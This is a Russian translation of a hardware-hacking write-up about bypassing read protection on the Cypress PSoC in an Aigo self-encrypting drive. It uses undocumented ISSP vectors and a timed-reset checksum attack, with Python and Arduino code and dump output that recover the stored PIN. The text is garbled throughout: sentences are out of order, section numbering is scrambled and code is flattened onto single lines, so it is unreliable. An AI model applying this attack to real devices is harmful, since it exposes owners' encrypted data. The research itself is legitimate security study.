Хабрахабр

[Перевод] Реверсинг и взлом самошифрующегося внешнего HDD-накопителя Aigo. Часть 2: Снимаем дамп с Cypress PSoC

Напоминаю, недавно коллега занес мне жёсткий диск Patriot (Aigo) SK8671, и я решил его отреверсить, а теперь делюсь, что из этого получилось. Это вторая и заключительная часть статьи про взлом внешних самошифрующихся накопителей. Перед тем как читать дальше обязательно ознакомьтесь с первой частью статьи.

Начинаем снимать дамп с внутренней флешки PSoC
5. 4. 1. ISSP-протокол
– 5. 2. Что такое ISSP
– 5. 3. Демистификация векторов
– 5. 4. Общение с PSoC
– 5. 5. Идентификация внутричиповых регистров
– 5. Первая (неудавшаяся) атака: ROMX
7. Защитные биты
6. 1. Вторая атака: трассировка с холодной перезагрузкой
– 7. 2. Реализация
– 7. 3. Считываем результат
– 7. 4. Реконструкция флеш-бинарника
– 7. 5. Находим адрес хранения пинкода
– 7. 6. Снимаем дамп блока №126
– 7. Что дальше?
9. Восстановление пинкода
8. Заключение

Поэтому нам необходимо прочитать эти флеш-недра. Итак, всё указывает на то (как мы установили в [первой части]()), что пинкод хранится во флеш-недрах PSoC. Фронт необходимых работ:

  • взять под контроль «общение» с микроконтроллером;
  • найти способ проверить, защищено ли это «общение» от считывания извне;
  • найти способ обхода защиты.

Существует два места, где имеет смысл искать действующий пинкод:

  • внутренняя флеш-память;
  • SRAM, где пинкод может храниться для сравнения его с тем пинкодом, который вводится пользователем.

Это позволило мне напрямую снимать дамп действующего пинкода. Забегая вперёд, отмечу, что мне всё-таки удалось снять дамп внутренней флешки PSoC, – обойдя её систему защиты, посредством аппаратной атаки «трассировка с холодной перезагрузкой» – после реверсинга недокументированных возможностей ISSP-протокола.

$ ./psoc.py syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Итоговый программный код:

5.1. Что такое ISSP

«Общение» с микроконтроллером может означать разные вещи: от «endor to vendor», до взаимодействия с применением последовательного протокола (например, ICSP для Microchip’овского PIC).

Патент US7185162 также даёт некоторую информацию. У Cypress для этого собственный проприетарный протокол, называемый ISSP (in-system serial programming protocol; внутрисистемный протокол последовательного программирования), который частично описан в технической спецификации. ISSP работает следующим образом: Есть также OpenSource-аналог, называемый HSSP (мы воспользуемся им чуть позже).

  • перезагрузить PSoC;
  • вывести магическое число на ножку последовательных данных этой PSoC; для входа в режим внешнего программирования;
  • отправить команды, которые представляют собой длинные битовые строки, называемые «векторами».

В документации на ISSP эти вектора определены лишь для небольшой горстки команд:

  • Initialize-1
  • Initialize-2
  • Initialize-3 (варианты 3V и 5V)
  • ID-SETUP
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, где dddddddd=block #
  • BULK ERASE
  • PROGRAM-BLOCK
  • VERIFY-SETUP
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, где DDDDDDDD = data out, aaaaaa = адрес (6 бит)
  • WRITE-BYTE: 10010aaaaaadddddddd111, где dddddddd = data in, aaaaaa = адрес (6 бит)
  • SECURE
  • CHECKSUM-SETUP
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, где DDDDDDDDDDDDDDDD = data out: контрольная сумма девайса
  • ERASE BLOCK

Например, вектор для Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

В документации на HSSP есть некоторые дополнительные сведения по ISSP: «ISSP-вектор это ни что иное как битовая последовательность, представляющая собой набор инструкций». У всех векторов одинакова длина: 22 бита.

5.2. Демистификация векторов

Первоначально я предполагал, что эти самые векторы представляют собой raw-варианты M8C-инструкций, однако проверив эту гипотезу, я обнаружил, что опкоды операций не совпадают. Разберёмся, что здесь происходит.

Затем идёт 8-бит адреса, после чего 8 бит данных (считанные или для записи) и наконец три стоп-бита». Затем я загуглил вышеприведённый вектор, и наткнулся на вот это исследование, где автор, хотя и не погружается в детали, даёт несколько дельных подсказок: «Каждая инструкция начинается с трёх бит, которые соответствуют одной из четырёх мнемоник (прочитать из RAM, записать в RAM, прочитать регистр, записать регистр).

SROM это жёстко закодированная ROM, в PSoC, которая предоставляет сервисные функции (по схожему принципу, что и Syscall), – для программного кода, запущенного в пользовательском пространстве: Затем мне удалось почерпнуть очень полезную информацию из раздела «Supervisory ROM (SROM)» технического руководства.

  • 00h: SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: TableRead
  • 07h: CheckSum
  • 08h: Calibrate0
  • 09h: Calibrate1

Благодаря этому можем декодировать первые три бита ISSP-векторов: Сравнивая имена векторов с функциями SROM, мы можем сопоставить различные операции, поддерживаемые этим протоколом, – с ожидаемыми SROM-параметрами.

  • 100 => “wrmem”
  • 101 => “rdmem”
  • 110 => “wrreg”
  • 111 => “rdreg”

Однако полное понимание внутричиповых процессов, можно получить только при непосредственном общении с PSoC.

5.3. Общение с PSoC

Поскольку Дирк Петраутский уже портировал Cypress’овский HSSP-код на Arduino, я воспользовался Arduino Uno для подключения к ISSP-разъёму клавиатурной платы.

Мою модификацию можете найти на GitHub: здесь и соответствующий Python-скрипт для общения с Arduino, в моём репозитории cypress_psoc_tools. Обратите внимание, что в ходе своих исследования, я довольно сильно изменил код Дирка.

Я попытался прочитать внутреннюю ROM, используя команду VERIFY. Итак, применяя Arduino, я сначала использовал для «общения» только «официальные» векторы. Вероятно из-за того, что внутри флешки активированы биты защиты от считывания. Как и ожидалось, этого мне сделать не удалось.

Обратите внимание, что мы можем читать всю SROM, даже несмотря на то, что флешка защищена! Затем я создал несколько своих простеньких векторов, для записи и чтения памяти/регистров.

5.4. Идентификация внутричиповых регистров

Это позволило мне запускать различные опкоды, такие как «ADD», «MOV A, X», «PUSH» или «JMP». Посмотрев на «дизассемблированные» векторы, я обнаружил, что девайс использует недокументированные регистры (0xF8-0xFA), для указания M8C-опкодов, которые выполняются напрямую, в обход защиты. Благодаря им (глядя на побочные эффекты, оказываемые ими на регистры) я смог определить, какие из недокументированных регистров, фактически являются обычными регистрами (A, X, SP и PC).

В итоге, «дизассемблированный» код, сгенерированный инструментом HSSP_disas.rb, – выглядит так (для ясности я добавил комментарии):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00 # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00 # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00 # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80 # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30 # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40 # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01 # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06 # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00 # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 # Недокумментированная операция: выполнить внешний опкод

5.5. Защитные биты

Я был очень удивлён тем фактом, что Cypress не даёт пользователю девайса никаких средств для того чтобы проверить, активирована ли защита. На данном этапе я уже могу общаться с PSoC, но у меня всё ещё нет достоверной информации о защитных битах флешки. И вот! Я углубился в Google, чтобы окончательно понять, что HSSP-код, предоставленный Cypress’ом, был обновлён уже после того, как Дирк выпустил свою модификацию. Появился вот такой новый вектор:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10 # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

read_security_data в psoc.py), мы получаем все защитные биты в SRAM в 0x80, где на каждый защищаемы блок приходится по два бита. Используя этот вектор (см.

Поэтому мы не только считывать с флешки ничего не можем, но и записывать тоже (чтобы например внедрить туда ROM-дампер). Результат удручает: всё защищено в режиме «отключить внешние чтение и запись». 🙁 А единственный способ отключить защиту – полностью стереть весь чип.

У такого подхода есть неплохие шансы на успех. Однако мы можем попробовать сделать следующий трюк: поскольку у нас есть возможность выполнять произвольные опкоды, почему бы не выполнить ROMX, который применяется для чтения флеш-памяти? Однако опкод ROMX, предположительно, может не иметь такой проверки. Потому что функция ReadBlock, считывающая данные из SROM (которая используется векторами), проверяет, вызывается ли она из ISSP. Итак, вот Python-код (после добавления нескольких вспомогательных классов в Сишный Arduino-код):

for i in range(0, 8192): write_reg(0xF0, i>>8) # A = 0 write_reg(0xF3, i&0xFF) # X = 0 exec_opcodes("\x28\x30\x40") # ROMX, HALT, NOP byte = read_reg(0xF0) # ROMX reads ROM[A|X] into A print "%02x" % ord(byte[0]) # print ROM byte

🙁 Вернее работает, но мы на выходе получаем свои собственные опкоды (0x28 0x30 0x40)! К сожалению, этот код не работает. Это больше похоже на инженерный трюк: при выполнении внешних опкодов, ROM’овская шина перенаправляется на временный буфер. Не думаю, что соответствующая функциональность девайса является элементом защиты от чтения.

Поскольку трюк с ROMX не сработал, я стал обдумывать другую вариацию этого трюка – описанную в публикации «Shedding too much Light on a Microcontroller’s Firmware Protection».

7.1. Реализация

В документации на ISSP приведён следующий вектор для CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Здесь по сути производится вызов SROM-функции 0x07, как представлено в документации (курсив мой):

Она вычисляет 16-битовую контрольную сумму количества блоков, заданных пользователем – в одном флэш-банке, отсчитывая с нуля. Эта функция проверки контрольной суммы. Значение «1» будет вычислять контрольную сумму только для нулевого блока; тогда как «0» приведёт к тому, что будет вычислена общая контрольная сумма всех 256 блоков флеш-банка. Параметр BLOCKID используется для передачи количества блоков, которое будет использоваться при расчёте контрольной суммы. Для девайсов с несколькими флеш-банками, функция контрольной суммы вызывается для каждого по отдельности. 16-битовая контрольная сумма возвращается через KEY1 и KEY2. В параметре KEY1 фиксируются младшие 8 бит контрольной суммы, а в KEY2 – старшие 8 бит. Номер банка, с которым она будет работать, задаётся регистром FLS_PR1 (путём установки в нём бита, соответствующего целевому флеш-банку).

Кроме того, зная, что в ядре M8C набор регистров очень невелик, я предположил, что при вычислении контрольной суммы, промежуточные значения будут фиксироваться в тех же самых переменных, которые в итоге на выход пойдут: KEY1 (0xF8) / KEY2 (0xF9). Обратите внимание, что это простейшая контрольная сумма: байты просто суммируются один за другим; никаких изощрённых CRC-причуд.

Итак, в теории моя атака выглядит так:

  1. Соединяемся через ISSP.
  2. Запускаем вычисление контрольной суммы, с использованием вектора CHECKSUM-SETUP.
  3. Перезагружаем процессор через заданное время T.
  4. Считываем RAM, чтобы получить текущую контрольную сумму C.
  5. Повторяем шаги 3 и 4, каждый раз немного увеличивая T.
  6. Восстанавливаем данные из флешки, посредством вычитания предыдущей контрольной суммы C из текущей.

Однако возникла проблема: вектор Initialize-1, который мы должны отправить после перезагрузки, перезаписывает KEY1 и KEY2:

1100101000000000000000 # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09 # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00 # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

И да, это работает! Этот код затирает нашу драгоценную контрольную сумму, вызывая Calibrate1 (SROM-функция 9)… Может быть нам удастся, просто отправив магическое число (из начала вышеприведённого кода), войти в режим программирования, и затем считать SRAM? Arduino-код, реализующий эту атаку, довольно прост:

case Cmnd_STK_START_CSUM: checksum_delay = ((uint32_t)getch())<<24; checksum_delay |= ((uint32_t)getch())<<16; checksum_delay |= ((uint32_t)getch())<<8; checksum_delay |= getch(); if(checksum_delay > 10000) else { ms_delay = 0; } send_checksum_v(); if(checksum_delay) delayMicroseconds(checksum_delay); delay(ms_delay); start_pmode();

  1. Считать checkum_delay.
  2. Запустить вычисление контрольной суммы (send_checksum_v).
  3. Подождать заданный промежуток времени; учитывая следующие подводные камни:
    • я убил уйму времени, пока не узнал, что оказывается delayMicroseconds работает корректно только с задержками не превышающими 16383мкс;
    • и затем снова убил столько же времени, пока не обнаружил, что delayMicroseconds, если ей на вход передать 0, работает совершенно неправильно!
  4. Перезагрузить PSoC в режим программирования (просто магическое число отправляем, без отправки инициализирующих векторов).

Итоговый код на Python:

for delay in range(0, 150000): # задержка в микросекундах for i in range(0, 10): # количество считывания для каждойиз задержек try: reset_psoc(quiet=True) # перезагрузка и вход в режим программирования send_vectors() # отправка инициализирующих векторов ser.write("\x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки res = ser.read(1) # считать arduino ACK except Exception as e: print e ser.close() os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null") ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт continue print "%05d %02X %02X %02X" % (delay, # считать RAM-байты read_regb(0xf1), read_ramb(0xf8), read_ramb(0xf9))

В двух словах, что делает этот код:

  1. Перезагружает PSoC (и отправляет ему магическое число).
  2. Отправляет полноценные векторы инициализации.
  3. Вызывает Arduino-функцию Cmnd_STK_START_CSUM (0x85), куда в качестве параметра передаётся задержка в микросекундах.
  4. Считывает контрольную сумму (0xF8 и 0xF9) и недокументированный регистр 0xF1.

0xF1 сюда включён, поскольку был единственным регистром, который менялся при вычислении контрольной суммы. Этот код выполняется по 10 раз за 1 микросекунду. Обратите внимание на уродливый хак, которым я перезагружаю Arduino, используя picocom, когда Arduino перестаёт подавать признакижизни (понятия не имею, почему). Возможно, это какая-то временная переменная, используемая арифметико-логическим устройством.

7.2. Считываем результат

Результат работы Python-скрипта выглядит так (упрощён для удобочитаемости):

DELAY F1 F8 F9 # F1 – вышеупомянутый неизвестный регистр # F8 младший байт контрольной суммы # F9 старший байт контрольной суммы 00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00 # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00 # 1-й байт: 0x0080-0x0000 = 0x80 00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00 # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01 # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00 # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00 # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01 # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01 # Итак, 0x117-0xE7: 0x30

Однако поскольку вся процедура вычисления (8192 байта) занимает 0,1478 секунд (с небольшими отклонениями при каждом запуске), что примерно соответствует 18,04 мкс на байт, – мы можем использовать это время для проверки значения контрольной суммы в подходящие моменты времени. При этом у нас есть проблема: поскольку мы оперируем фактической контрольной суммой, нулевой байт не меняет считанное значение. Однако конец этого дампа менее точен, потому что «незначительные отклонения по времени» при каждом прогоне – суммируются, и становятся значительными: Для первых прогонов всё считывается довольно-таки легко, поскольку длительность выполнения вычислительной процедуры всегда практически одинаковая.

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Общее время работы для снятия дампа всех 8192 байт флешки, составляет порядка 48 часов. Это 10 дампов для каждой микросекундной задержки.

7.3. Реконструкция флеш-бинарника

Однако начало этого кода я уже восстановил. Я пока ещё не завершил написание кода, который полностью реконструирует программный код флешки, с учётом всех отклонений по времени. Чтобы убедиться в том, что сделал это корректно, я дизассемблировал его, при помощи m8cdis:

0000: 80 67 jmp 0068h ; Reset vector
[...]
0068: 71 10 or F,010h
006a: 62 e3 87 mov reg[VLT_CR],087h
006d: 70 ef and F,0efh
006f: 41 fe fb and reg[CPU_SCR1],0fbh
0072: 50 80 mov A,080h
0074: 4e swap A,SP
0075: 55 fa 01 mov [0fah],001h
0078: 4f mov X,SP
0079: 5b mov A,X
007a: 01 03 add A,003h
007c: 53 f9 mov [0f9h],A
007e: 55 f8 3a mov [0f8h],03ah
0081: 50 06 mov A,006h
0083: 00 ssc
[...]
0122: 18 pop A
0123: 71 10 or F,010h
0125: 43 e3 10 or reg[VLT_CR],010h
0128: 70 00 and F,000h ; Paging mode changed from 3 to 0
012a: ef 62 jacc 008dh
012c: e0 00 jacc 012dh
012e: 71 10 or F,010h
0130: 62 e0 02 mov reg[OSC_CR0],002h
0133: 70 ef and F,0efh
0135: 62 e2 00 mov reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff jmp 013bh
013d: 50 08 mov A,008h
013f: 7f ret

Выглядит вполне правдоподобно!

7.4. Находим адрес хранения пинкода

Теперь, когда мы можем считывать контрольную сумму в нужные нам моменты времени, – мы можем легко проверить, как и где она меняется, когда мы:

  • вводим неверный пинкод;
  • измененяем пинкод.

Затем я ввёл неверный пинкод и сделал то же самое. Вначале, чтобы найти приблизительный адрес хранения, я снял дамп контрольной суммы с шагом в 10 мс, после перезагрузки.

Но в конце концов мне удалось установить, что контрольная сумма изменилась где-то в промежутке между 120000 мкс и 140000 мкс задержки. Результат оказался не очень приятным, поскольку изменений было много. Но «пинкод», который я там обранужили, был абсолютно неправильный – из-за артефакта процедуры delayMicroseconds, которая делает непонятные вещи, когда ей передаётся 0.

Т.о. Затем, потратив почти 3 часа, я вспомнил, что SROM’овский системный вызов CheckSum на входе получает аргумент, задающий количество блоков для контрольной суммы! мы можем без труда локализовать адрес хранения пинкода и счётчика «неверных попыток», – с точностью до 64-байтового блока.

Мои первоначальные прогоны дали следующий результат:

Затем я поменял пинкод с «123456» на «1234567» и получил:

Таким образом, пинкод и счётчик неверных попыток, похоже хранятся в блоке №126.

7.5. Снимаем дамп блока №126

Затем, после ручного отсеивания многочисленных неверных дампов (из-за накопления «незначительных отклонений по времени»), я в итоге получил вот такие байты (на задержке 145527мкс): Блок №126 должен располагаться где-то в районе 125x64x18 = 144000мкс, от начала расчёта контрольной суммы, в моём полном дампе, и он выглядит вполне правдоподобно.

Эти значения конечно не в ASCII-кодах записаны, но как оказалось – отражают показания, снятые с ёмкостной клавиатуры. Совершенно очевидно, что пинкод хранится в незашифрованном виде!

Вот результат: Наконец, я провёл ещё несколько тестов, чтобы найти, где хранится счётчик неверных попыток.

0xFF – означает «15 попыток», и он уменьшается при каждой неверной попытке.

7.6. Восстановление пинкода

Вот мой уродливый код, который собирает вместе всё выше сказанное:

def dump_pin(): pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5", 0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"} last_csum = 0 pin_bytes = [] for delay in range(145495, 145719, 16): csum = csum_at(delay, 1) byte = (csum-last_csum)&0xFF print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte) pin_bytes.append(byte) last_csum = csum print "PIN: ", for i in range(0, len(pin_bytes)): if pin_bytes[i] in pin_map: print pin_map[pin_bytes[i]], print

Вот результат его выполнения:

$ ./psoc.py syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Работает! Ура!

Обратите внимание, что значения задержки, использованные мной, скорее всего актуальны для одного конкретного PSoC – того, которым пользовался я.

Итак, подведём итоги на стороне PSoC, в контексте нашего накопителя Aigo:

  • мы можем считывать SRAM, даже если она защищена от считывания;
  • мы можем обойти защиту от считывания, посредством атаки «трассировка с холодной перезагрузкой», и непосредственного считывания пинкода.

Её можно было бы улучшить следующим образом: Тем не менее, у нашей атаки есть некоторые недоработки – из-за проблем с синхронизацией.

  • написать утилиту для правильного декодирования выходных данных, которые получены в результате атаки «трассировка с холодной перезагрузкой»;
  • использовать FPGA-примочку для создания более точных временных задержек (или использовать аппаратные таймеры Arduino);
  • попробовать ещё одну атаку: ввести заведомо неверный пинкод, перезагрузить и с дампить RAM, надеясь на то, что правильный пинкод окажется сохранённым в RAM, для сравнения. Однако на Arduino это сделать не так-то просто, поскольку уровень сигнала Arduino составляет 5 вольт, в то время как исследуемая нами плата работает с сигналами в 3,3 вольт.

Если бы такой подход сработал, мы бы смогли получать абсолютно точные данные с флешки, – вместо того, чтобы полагаться на чтение контрольной суммы с неточными временными задержками. Одна интересная вещь, которую можно было бы попробовать – поиграть уровнем напряжения, для обхода защиты от чтения.

Поскольку SROM, вероятно считывает защитные биты посредством системного вызова ReadBlock, мы могли бы сделать то же самое, что описано в блоге Дмитрия Недоспасова – повторная реализация атаки Криса Герлински, анонсированной на конференции «REcon Brussels 2017».

Ещё одна забавная вещь, которую можно было бы сделать – сточить с микросхемы корпус: для снятия дампа SRAM, выявления недокументированных системных вызовов и уязвимостей.

Итак, защита этого накопителя оставляет желать лучшего, потому что он для хранения пинкода использует обычный (не «закалённый») микроконтроллер… Плюс я ещё не смотрел (пока), как на этом девайсе дела обстоят с шифрованием данных!

Проанализировав пару-тройку моделей зашифрованных HDD-накопителей, я в 2015 году сделал презентацию на SyScan, в которой рассмотрел проблемы безопасности нескольких внешних HDD-накопителей, и дал рекомендации, что в них можно было бы улучшить. Что можно посоветовать для Aigo? 🙂

В общей сложности порядка 40 часов. На это исследование я потратил два выходных и несколько вечеров. В эти же 40 часов включено время, которое я потратил для написания этой статьи. Считая с самого начала (когда я вскрыл диск) и до конца (дамп пинкода). Очень увлекательное было путешествие.

Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть